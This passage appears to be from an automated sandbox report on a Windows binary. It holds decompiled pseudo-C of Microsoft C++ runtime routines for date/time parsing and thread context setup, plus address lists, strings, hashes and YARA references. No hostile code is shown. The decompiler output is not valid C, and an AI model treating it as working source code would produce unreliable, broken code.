						goto L3;
					case 2:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00AD6E68(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 0, 0x63, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) != 0) {
							goto L39;
						} else {
							 *(__ebp - 0x18) =  *(__ebp - 0x18) + 0xffffffed;
							__ecx = ( *(__ebp - 0x18) + 0xffffffed) * 0x64;
							__eflags = __ecx;
							goto L9;
						}
					case 3:
						_push("%m / %d / %y");
						goto L6;
					case 4:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						__eax =  *(__ebp + 0x24);
						__eax =  *(__ebp + 0x24) + 8;
						__eflags = __eax;
						_push(__eax);
						_push(0x17);
						goto L15;
					case 5:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00AD6E68(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 1, 0xc, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__ecx =  *(__ebp - 0x18);
							__eax =  *(__ebp + 0x24);
							 *(__ebp - 0x18) - 0xc =  ~( *(__ebp - 0x18) - 0xc);
							asm("sbb ecx, ecx");
							__ecx =  ~( *(__ebp - 0x18) - 0xc) &  *(__ebp - 0x18);
							 *( *(__ebp + 0x24) + 8) = __ecx;
						}
						goto L39;
					case 6:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 4;
						_push( *(__ebp + 0x24) + 4);
						_push(0x3b);
						goto L15;
					case 7:
						_push("%H : %M");
						goto L6;
					case 8:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						_push( *(__ebp + 0x24));
						_push(0x3c);
						goto L15;
					case 9:
						_push("%H : %M : %S");
						goto L6;
					case 0xa:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x1c;
						_push( *(__ebp + 0x24) + 0x1c);
						_push(0x35);
						goto L15;
					case 0xb:
						__eax = __ebp - 0x14;
						__ecx = __edi;
						__eax = E00AD5E94(__ecx, __ebp - 0x14,  *(__ebp + 0xc),  *((intOrPtr*)(__ebp + 0x10)),  *(__ebp + 0x14),  *((intOrPtr*)(__ebp + 0x18)), __ebx, __esi,  *(__ebp + 0x24));
						goto L3;
					case 0xc:
						_push("%b %d %H : %M : %S %Y");
						goto L6;
					case 0xd:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						__eax =  *(__ebp + 0x24);
						__eax =  *(__ebp + 0x24) + 0xc;
						__eflags = __eax;
						_push(__eax);
						_push(0x1f);
						goto L11;
					case 0xe:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x1c;
						_push( *(__ebp + 0x24) + 0x1c);
						_push(0x16e);
						L11:
						_push(1);
						goto L12;
					case 0xf:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00AD6E68(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 1, 0xc, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__eax =  *(__ebp + 0x24);
							__ecx =  *(__ebp - 0x18);
							__ecx =  *(__ebp - 0x18) - 1;
							 *( *(__ebp + 0x24) + 0x10) = __ecx;
						}
						goto L39;
					case 0x10:
						_push(" ");
						goto L6;
					case 0x11:
						_push(":AM:am:PM:pm");
						_push(0);
						__eax = __ebp + 0x14;
						_push(__ebp + 0x14);
						__eax = __ebp + 0xc;
						_push(__ebp + 0xc);
						__eax = E00AC32DD(__edi);
						__esp = __esp + 0x10;
						__eflags = __eax;
						if(__eax >= 0) {
							__eflags = __eax - 1;
							if(__eax > 1) {
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24) + 8) =  *( *(__ebp + 0x24) + 8) + 0xc;
							}
						} else {
							 *__esi =  *__esi | 0x00000002;
						}
						goto L39;
					case 0x12:
						_push("%I : %M : %S %p");
						goto L6;
					case 0x13:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x18;
						_push( *(__ebp + 0x24) + 0x18);
						_push(6);
						L15:
						_push(__edx);
						L12:
						__eax = __ebp + 0x14;
						_push(__ebp + 0x14);
						__eax = __ebp + 0xc;
						_push(__ebp + 0xc);
						_push(__edi);
						__eax = E00AD6E68(__edx);
						__esp = __esp + 0x1c;
						 *__esi =  *__esi | __eax;
						goto L39;
					case 0x14:
						_push("%d / %m / %y");
						L6:
						_push( *(__ebp + 0x24));
						__eax = __ebp - 0x1c;
						__ecx = __edi;
						_push(__esi);
						_push(__ebx);
						_push( *((intOrPtr*)(__ebp + 0x18)));
						_push( *(__ebp + 0x14));
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *(__ebp + 0xc));
						_push(__ebp - 0x1c);
						__eax = E00AD6D38(__ecx, __edx, __eflags);
						L3:
						 *((intOrPtr*)(_t134 + 0xc)) =  *_t116;
						 *((intOrPtr*)(_t134 + 0x10)) =  *((intOrPtr*)(_t116 + 4));
						goto L39;
					case 0x15:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00AD6E68(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 0, 0x63, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__ecx =  *(__ebp - 0x18);
							__eflags = __ecx - 0x45;
							if(__ecx < 0x45) {
								__ecx = __ecx + 0x64;
							}
							L9:
							__eax =  *(__ebp + 0x24);
							 *( *(__ebp + 0x24) + 0x14) = __ecx;
						}
						goto L39;
					case 0x16:
						goto L38;
				}
			}

0x00ad8632
0x00ad8639
0x00ad863e
0x00ad8649
0x00ad864e
0x00ad8656
0x00ad865b
0x00ad8663
0x00ad8666
0x00ad866b
0x00ad8674
0x00ad8677
0x00ad867a
0x00ad867f
0x00ad8912
0x00ad8912
0x00ad8918
0x00ad8926
0x00ad8928
0x00ad8928
0x00ad892b
0x00ad8931
0x00ad8936
0x00ad8939
0x00ad893e
0x00ad893e
0x00ad868c
0x00000000
0x00ad86aa
0x00000000
0x00000000
0x00ad86c2
0x00ad86c5
0x00ad86d6
0x00000000
0x00000000
0x00ad870a
0x00ad870e
0x00ad8713
0x00ad8718
0x00ad871d
0x00ad871f
0x00ad8721
0x00ad8724
0x00000000
0x00ad872a
0x00ad872d
0x00ad8730
0x00ad8730
0x00000000
0x00ad8730
0x00000000
0x00ad8764
0x00000000
0x00000000
0x00ad876e
0x00ad8771
0x00ad8774
0x00ad8774
0x00ad8777
0x00ad8778
0x00000000
0x00000000
0x00ad8788
0x00ad878c
0x00ad8791
0x00ad8796
0x00ad879b
0x00ad879d
0x00ad879f
0x00ad87a2
0x00ad87a8
0x00ad87ab
0x00ad87b1
0x00ad87b3
0x00ad87b5
0x00ad87b8
0x00ad87b8
0x00000000
0x00000000
0x00ad880e
0x00ad8814
0x00ad8817
0x00ad8818
0x00000000
0x00000000
0x00ad886a
0x00000000
0x00000000
0x00ad8874
0x00ad8877
0x00ad887a
0x00000000
0x00000000
0x00ad8881
0x00000000
0x00000000
0x00ad888b
0x00ad8891
0x00ad8894
0x00ad8895
0x00000000
0x00000000
0x00ad88f4
0x00ad88f7
0x00ad8908
0x00000000
0x00000000
0x00ad86dd
0x00000000
0x00000000
0x00ad873e
0x00ad8741
0x00ad8744
0x00ad8744
0x00ad8747
0x00ad8748
0x00000000
0x00000000
0x00ad87c0
0x00ad87c6
0x00ad87c9
0x00ad87ca
0x00ad874a
0x00ad874a
0x00000000
0x00000000
0x00ad87df
0x00ad87e3
0x00ad87e8
0x00ad87ed
0x00ad87f2
0x00ad87f4
0x00ad87f6
0x00ad87f9
0x00ad87ff
0x00ad8802
0x00ad8805
0x00ad8806
0x00ad8806
0x00000000
0x00000000
0x00ad881f
0x00000000
0x00000000
0x00ad8829
0x00ad882e
0x00ad882f
0x00ad8832
0x00ad8833
0x00ad8836
0x00ad8837
0x00ad883c
0x00ad883f
0x00ad8841
0x00ad884b
0x00ad884e
0x00ad8854
0x00ad8857
0x00ad8857
0x00ad8843
0x00ad8843
0x00ad8843
0x00000000
0x00000000
0x00ad8860
0x00000000
0x00000000
0x00ad889c
0x00ad88a2
0x00ad88a5
0x00ad88a6
0x00ad877a
0x00ad877a
0x00ad874c
0x00ad874c
0x00ad874f
0x00ad8750
0x00ad8753
0x00ad8754
0x00ad8755
0x00ad875a
0x00ad875d
0x00000000
0x00000000
0x00ad88ad
0x00ad86e2
0x00ad86e2
0x00ad86e5
0x00ad86e8
0x00ad86ea
0x00ad86eb
0x00ad86ec
0x00ad86ef
0x00ad86f2
0x00ad86f5
0x00ad86f8
0x00ad86f9
0x00ad86af
0x00ad86b1
0x00ad86b7
0x00000000
0x00000000
0x00ad88c1
0x00ad88c5
0x00ad88ca
0x00ad88cf
0x00ad88d4
0x00ad88d6
0x00ad88d8
0x00ad88db
0x00ad88dd
0x00ad88e0
0x00ad88e3
0x00ad88e9
0x00ad88e9
0x00ad8733
0x00ad8733
0x00ad8736
0x00ad8736
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 00AD8639
std::locale::locale.LIBCPMT ref: 00AD8649

Part of subcall function 00AC35CB: __EH_prolog3.LIBCMT ref: 00AC35D2
Part of subcall function 00AC35CB: std::_Lockit::_Lockit.LIBCPMT ref: 00AC35DC
Part of subcall function 00AC35CB: std::locale::_Getfacet.LIBCPMT ref: 00AC35FC
Part of subcall function 00AC35CB: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC364D

Strings

%b %d %H : %M : %S %Y, xrefs: 00AD86DD
%I : %M : %S %p, xrefs: 00AD8860
%m / %d / %y, xrefs: 00AD8764
:AM:am:PM:pm, xrefs: 00AD8829
%H : %M, xrefs: 00AD886A
%H : %M : %S, xrefs: 00AD8881
%d / %m / %y, xrefs: 00AD88AD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3Lockitstd::_$GetfacetLockit::_Lockit::~_std::locale::_std::locale::locale
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1665824405-2891247106
Opcode ID: a69e24a3e2df46429de9082a72af1adef4f6865d4891080f64c92ac65973ae35
Instruction ID: 93799ce1b30d0b45206e3222faf58497e3a4d4eb7b17732defa2a46d9a813bdb
Opcode Fuzzy Hash: a69e24a3e2df46429de9082a72af1adef4f6865d4891080f64c92ac65973ae35
Instruction Fuzzy Hash: 86A1577590020AAFDF05DFA4CD92EFE7BB9EF08314F10401AF956A7391DA359A10EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AD317A, Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00AD317A(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _t109;
				intOrPtr* _t113;
				void* _t124;
				void* _t132;
				signed int* _t133;
				void* _t134;
				void* _t135;

				_t135 = __eflags;
				_push(0x10);
				E00ADAEE9();
				_t132 = __ecx;
				E00AC38CC(_t134 - 0x1c,  *((intOrPtr*)( *((intOrPtr*)(_t134 + 0x1c)) + 0x30)));
				 *(_t134 - 4) =  *(_t134 - 4) & 0x00000000;
				_t109 = E00AC935D(__edx, _t135, _t134 - 0x1c);
				 *(_t134 - 4) =  *(_t134 - 4) | 0xffffffff;
				 *((intOrPtr*)(_t134 - 0x10)) = _t109;
				E00AA1D80(_t134 - 0x1c);
				_t133 =  *(_t134 + 0x20);
				_t124 =  *((char*)(_t134 + 0x28)) + 0xffffffbf;
				 *((intOrPtr*)(_t134 - 0x18)) = 0;
				 *_t133 = 0;
				if(_t124 > 0x38) {
					L38:
					 *_t133 = 2;
					L39:
					if(E00AD5DAA(_t134 + 0xc, _t134 + 0x14) != 0) {
						 *_t133 =  *_t133 | 0x00000001;
					}
					_t113 =  *((intOrPtr*)(_t134 + 8));
					 *_t113 =  *((intOrPtr*)(_t134 + 0xc));
					 *((intOrPtr*)(_t113 + 4)) =  *((intOrPtr*)(_t134 + 0x10));
					E00ADAEB2();
					return _t113;
				}
				switch( *((intOrPtr*)(( *(_t124 + 0xad34e6) & 0x000000ff) * 4 +  &M00AD348A))) {
					case 0:
						_t116 = E00AD5E5C(_t132, _t134 - 0x1c,  *((intOrPtr*)(_t134 + 0xc)),  *((intOrPtr*)(_t134 + 0x10)),  *((intOrPtr*)(_t134 + 0x14)),  *((intOrPtr*)(_t134 + 0x18)), _t118, _t133,  *((intOrPtr*)(_t134 + 0x24)));
						goto L3;
					case 1:
						__eax = __ebp - 0x1c;
						__ecx = __edi;
						__eax = E00AD5E24(__ecx, __ebp - 0x1c,  *(__ebp + 0xc),  *((intOrPtr*)(__ebp + 0x10)),  *(__ebp + 0x14),  *((intOrPtr*)(__ebp + 0x18)), __ebx, __esi,  *(__ebp + 0x24));
						goto L3;
					case 2:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 0, 0x63, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) != 0) {
							goto L39;
						} else {
							 *(__ebp - 0x18) =  *(__ebp - 0x18) + 0xffffffed;
							__ecx = ( *(__ebp - 0x18) + 0xffffffed) * 0x64;
							__eflags = __ecx;
							goto L9;
						}
					case 3:
						_push("%m / %d / %y");
						goto L6;
					case 4:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						__eax =  *(__ebp + 0x24);
						__eax =  *(__ebp + 0x24) + 8;
						__eflags = __eax;
						_push(__eax);
						_push(0x17);
						goto L15;
					case 5:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 1, 0xc, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__ecx =  *(__ebp - 0x18);
							__eax =  *(__ebp + 0x24);
							 *(__ebp - 0x18) - 0xc =  ~( *(__ebp - 0x18) - 0xc);
							asm("sbb ecx, ecx");
							__ecx =  ~( *(__ebp - 0x18) - 0xc) &  *(__ebp - 0x18);
							 *( *(__ebp + 0x24) + 8) = __ecx;
						}
						goto L39;
					case 6:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 4;
						_push( *(__ebp + 0x24) + 4);
						_push(0x3b);
						goto L15;
					case 7:
						_push("%H : %M");
						goto L6;
					case 8:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						_push( *(__ebp + 0x24));
						_push(0x3c);
						goto L15;
					case 9:
						_push("%H : %M : %S");
						goto L6;
					case 0xa:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x1c;
						_push( *(__ebp + 0x24) + 0x1c);
						_push(0x35);
						goto L15;
					case 0xb:
						__eax = __ebp - 0x14;
						__ecx = __edi;
						__eax = E00AD5E94(__ecx, __ebp - 0x14,  *(__ebp + 0xc),  *((intOrPtr*)(__ebp + 0x10)),  *(__ebp + 0x14),  *((intOrPtr*)(__ebp + 0x18)), __ebx, __esi,  *(__ebp + 0x24));
						goto L3;
					case 0xc:
						_push("%b %d %H : %M : %S %Y");
						goto L6;
					case 0xd:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						__eax =  *(__ebp + 0x24);
						__eax =  *(__ebp + 0x24) + 0xc;
						__eflags = __eax;
						_push(__eax);
						_push(0x1f);
						goto L11;
					case 0xe:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x1c;
						_push( *(__ebp + 0x24) + 0x1c);
						_push(0x16e);
						L11:
						_push(1);
						goto L12;
					case 0xf:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 1, 0xc, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__eax =  *(__ebp + 0x24);
							__ecx =  *(__ebp - 0x18);
							__ecx =  *(__ebp - 0x18) - 1;
							 *( *(__ebp + 0x24) + 0x10) = __ecx;
						}
						goto L39;
					case 0x10:
						_push(" ");
						goto L6;
					case 0x11:
						_push(":AM:am:PM:pm");
						_push(0);
						__eax = __ebp + 0x14;
						_push(__ebp + 0x14);
						__eax = __ebp + 0xc;
						_push(__ebp + 0xc);
						__eax = E00AC8699(__edi);
						__esp = __esp + 0x10;
						__eflags = __eax;
						if(__eax >= 0) {
							__eflags = __eax - 1;
							if(__eax > 1) {
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24) + 8) =  *( *(__ebp + 0x24) + 8) + 0xc;
							}
						} else {
							 *__esi =  *__esi | 0x00000002;
						}
						goto L39;
					case 0x12:
						_push("%I : %M : %S %p");
						goto L6;
					case 0x13:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						 *(__ebp + 0x24) =  *(__ebp + 0x24) + 0x18;
						_push( *(__ebp + 0x24) + 0x18);
						_push(6);
						L15:
						_push(__edx);
						L12:
						__eax = __ebp + 0x14;
						_push(__ebp + 0x14);
						__eax = __ebp + 0xc;
						_push(__ebp + 0xc);
						_push(__edi);
						__eax = E00ACE1E0(__edx);
						__esp = __esp + 0x1c;
						 *__esi =  *__esi | __eax;
						goto L39;
					case 0x14:
						_push("%d / %m / %y");
						L6:
						_push( *(__ebp + 0x24));
						__eax = __ebp - 0x1c;
						__ecx = __edi;
						_push(__esi);
						_push(__ebx);
						_push( *((intOrPtr*)(__ebp + 0x18)));
						_push( *(__ebp + 0x14));
						_push( *((intOrPtr*)(__ebp + 0x10)));
						_push( *(__ebp + 0xc));
						_push(__ebp - 0x1c);
						__eax = E00ACD77A(__ecx, __edx, __eflags);
						L3:
						 *((intOrPtr*)(_t134 + 0xc)) =  *_t116;
						 *((intOrPtr*)(_t134 + 0x10)) =  *((intOrPtr*)(_t116 + 4));
						goto L39;
					case 0x15:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 0, 0x63, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) == 0) {
							__ecx =  *(__ebp - 0x18);
							__eflags = __ecx - 0x45;
							if(__ecx < 0x45) {
								__ecx = __ecx + 0x64;
							}
							L9:
							__eax =  *(__ebp + 0x24);
							 *( *(__ebp + 0x24) + 0x14) = __ecx;
						}
						goto L39;
					case 0x16:
						goto L38;
				}
			}

0x00ad317a
0x00ad317a
0x00ad3181
0x00ad3186
0x00ad3191
0x00ad3196
0x00ad319e
0x00ad31a3
0x00ad31ab
0x00ad31ae
0x00ad31b3
0x00ad31bc
0x00ad31bf
0x00ad31c2
0x00ad31c7
0x00ad345a
0x00ad345a
0x00ad3460
0x00ad346e
0x00ad3470
0x00ad3470
0x00ad3473
0x00ad3479
0x00ad347e
0x00ad3481
0x00ad3486
0x00ad3486
0x00ad31d4
0x00000000
0x00ad31f2
0x00000000
0x00000000
0x00ad320a
0x00ad320d
0x00ad321e
0x00000000
0x00000000
0x00ad3252
0x00ad3256
0x00ad325b
0x00ad3260
0x00ad3265
0x00ad3267
0x00ad3269
0x00ad326c
0x00000000
0x00ad3272
0x00ad3275
0x00ad3278
0x00ad3278
0x00000000
0x00ad3278
0x00000000
0x00ad32ac
0x00000000
0x00000000
0x00ad32b6
0x00ad32b9
0x00ad32bc
0x00ad32bc
0x00ad32bf
0x00ad32c0
0x00000000
0x00000000
0x00ad32d0
0x00ad32d4
0x00ad32d9
0x00ad32de
0x00ad32e3
0x00ad32e5
0x00ad32e7
0x00ad32ea
0x00ad32f0
0x00ad32f3
0x00ad32f9
0x00ad32fb
0x00ad32fd
0x00ad3300
0x00ad3300
0x00000000
0x00000000
0x00ad3356
0x00ad335c
0x00ad335f
0x00ad3360
0x00000000
0x00000000
0x00ad33b2
0x00000000
0x00000000
0x00ad33bc
0x00ad33bf
0x00ad33c2
0x00000000
0x00000000
0x00ad33c9
0x00000000
0x00000000
0x00ad33d3
0x00ad33d9
0x00ad33dc
0x00ad33dd
0x00000000
0x00000000
0x00ad343c
0x00ad343f
0x00ad3450
0x00000000
0x00000000
0x00ad3225
0x00000000
0x00000000
0x00ad3286
0x00ad3289
0x00ad328c
0x00ad328c
0x00ad328f
0x00ad3290
0x00000000
0x00000000
0x00ad3308
0x00ad330e
0x00ad3311
0x00ad3312
0x00ad3292
0x00ad3292
0x00000000
0x00000000
0x00ad3327
0x00ad332b
0x00ad3330
0x00ad3335
0x00ad333a
0x00ad333c
0x00ad333e
0x00ad3341
0x00ad3347
0x00ad334a
0x00ad334d
0x00ad334e
0x00ad334e
0x00000000
0x00000000
0x00ad3367
0x00000000
0x00000000
0x00ad3371
0x00ad3376
0x00ad3377
0x00ad337a
0x00ad337b
0x00ad337e
0x00ad337f
0x00ad3384
0x00ad3387
0x00ad3389
0x00ad3393
0x00ad3396
0x00ad339c
0x00ad339f
0x00ad339f
0x00ad338b
0x00ad338b
0x00ad338b
0x00000000
0x00000000
0x00ad33a8
0x00000000
0x00000000
0x00ad33e4
0x00ad33ea
0x00ad33ed
0x00ad33ee
0x00ad32c2
0x00ad32c2
0x00ad3294
0x00ad3294
0x00ad3297
0x00ad3298
0x00ad329b
0x00ad329c
0x00ad329d
0x00ad32a2
0x00ad32a5
0x00000000
0x00000000
0x00ad33f5
0x00ad322a
0x00ad322a
0x00ad322d
0x00ad3230
0x00ad3232
0x00ad3233
0x00ad3234
0x00ad3237
0x00ad323a
0x00ad323d
0x00ad3240
0x00ad3241
0x00ad31f7
0x00ad31f9
0x00ad31ff
0x00000000
0x00000000
0x00ad3409
0x00ad340d
0x00ad3412
0x00ad3417
0x00ad341c
0x00ad341e
0x00ad3420
0x00ad3423
0x00ad3425
0x00ad3428
0x00ad342b
0x00ad3431
0x00ad3431
0x00ad327b
0x00ad327b
0x00ad327e
0x00ad327e
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 00AD3181
std::locale::locale.LIBCPMT ref: 00AD3191

Part of subcall function 00AC935D: __EH_prolog3.LIBCMT ref: 00AC9364
Part of subcall function 00AC935D: std::_Lockit::_Lockit.LIBCPMT ref: 00AC936E
Part of subcall function 00AC935D: std::locale::_Getfacet.LIBCPMT ref: 00AC938E
Part of subcall function 00AC935D: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC93DF

Strings

%b %d %H : %M : %S %Y, xrefs: 00AD3225
%I : %M : %S %p, xrefs: 00AD33A8
%m / %d / %y, xrefs: 00AD32AC
:AM:am:PM:pm, xrefs: 00AD3371
%H : %M, xrefs: 00AD33B2
%H : %M : %S, xrefs: 00AD33C9
%d / %m / %y, xrefs: 00AD33F5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: H_prolog3Lockitstd::_$GetfacetLockit::_Lockit::~_std::locale::_std::locale::locale
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1665824405-2891247106
Opcode ID: 9b79379bff554d1e076caff1bbd3192108b9c3f6f3051cc541dc245a4bb0c82d
Instruction ID: e6c200b3724a95f0cc0d446189e334b662e509446cd3e04a6cf23839c2c1ab7f
Opcode Fuzzy Hash: 9b79379bff554d1e076caff1bbd3192108b9c3f6f3051cc541dc245a4bb0c82d
Instruction Fuzzy Hash: 3BA159B6A0020EAFDF05CF54CD42EFE7BB9FF18304F10411AF956A6291D6359A20DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00AEF4CB, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00AEF4CB(void* __ebx, void* __ecx, void* __edi, long _a4) {
				intOrPtr* _v12;
				char _v20;
				long _v24;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v56;
				intOrPtr _v92;
				long _t52;
				long _t69;
				long _t74;
				intOrPtr _t86;
				void* _t99;
				long _t100;
				intOrPtr _t105;
				char* _t108;
				intOrPtr* _t109;
				intOrPtr* _t114;
				intOrPtr* _t117;
				intOrPtr* _t120;
				signed int _t125;
				void* _t126;
				long _t130;
				void* _t133;
				intOrPtr _t135;
				intOrPtr* _t136;
				intOrPtr* _t137;
				long _t141;
				long _t142;
				void* _t147;
				void* _t148;
				void* _t150;
				void* _t151;
				void* _t152;

				_t126 = __edi;
				_t99 = __ebx;
				_t52 = _a4;
				_t151 = _t150 - 0xc;
				if(_t52 != 0) {
					_t124 =  *(__ecx + 0x10);
					if( *(__ecx + 0x10) != 0) {
						__eflags = _t52 - 2;
						if(_t52 == 2) {
							_t3 = __ecx + 0x10;
							 *_t3 =  *(__ecx + 0x10) & 0x00000000;
							__eflags =  *_t3;
						}
						return E00AEF313(_t52, _t124, _t52);
					}
					if(_t52 == 1) {
						return E00AEF7B3(__ecx);
					}
				}
				_t108 =  &_v20;
				E00AC3185(_t108, "switchState");
				E00AF1677( &_v20, 0xb3d734);
				asm("int3");
				_t147 = _t151;
				_t152 = _t151 - 0x10;
				_push(_t99);
				_t100 = _v24;
				_v36 = _t108;
				_push(_t133);
				_push(_t126);
				__eflags = _t100;
				if(_t100 == 0) {
					_t109 =  &_v24;
					E00AC3185(_t109, "pContext");
					E00AF1677( &_v24, 0xb3d734);
					asm("int3");
					_t148 = _t152;
					 *((intOrPtr*)(_t109 + 4)) = _v44;
					 *((intOrPtr*)(_t109 + 0x14)) = _v40;
					 *_t109 = 0xb19f40;
					 *((intOrPtr*)(_t109 + 0x18)) = 0;
					 *((char*)(_t109 + 0x1c)) = 0;
					 *((intOrPtr*)(_t109 + 0x20)) = 1;
					 *((intOrPtr*)(_t109 + 0x24)) = 0;
					_v56 = _t109;
					 *0xb1531c(_t126, _t133, _t100, _t147);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t109 + 4)))) + 8))))();
					asm("lock xadd [0xb420c8], ebx");
					_t135 = _v56;
					_push(0);
					 *((intOrPtr*)(_t135 + 0x28)) = 2;
					 *(_t135 + 0xc) = E00ADD52B(__eflags);
					_t69 = E00ADDAC4(_t124,  *((intOrPtr*)(_t109 + 4)), 0,  *(_t135 + 0x14) << 0xa, E00AEF7CF, _t135, 0x10000, _t135 + 0x2c);
					 *(_t135 + 8) = _t69;
					__eflags = _t69;
					if(_t69 == 0) {
						CloseHandle( *(_t135 + 0xc));
						_t136 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t135 + 4)))) + 0xc));
						 *0xb1531c();
						 *_t136();
						_t74 = GetLastError();
						__eflags = _t74;
						if(_t74 > 0) {
							__eflags = _t74;
						}
						_t114 =  &_v36;
						E00ADDE48(_t114, _t74);
						E00AF1677( &_v36, 0xb3ff20);
						asm("int3");
						_push(_t148);
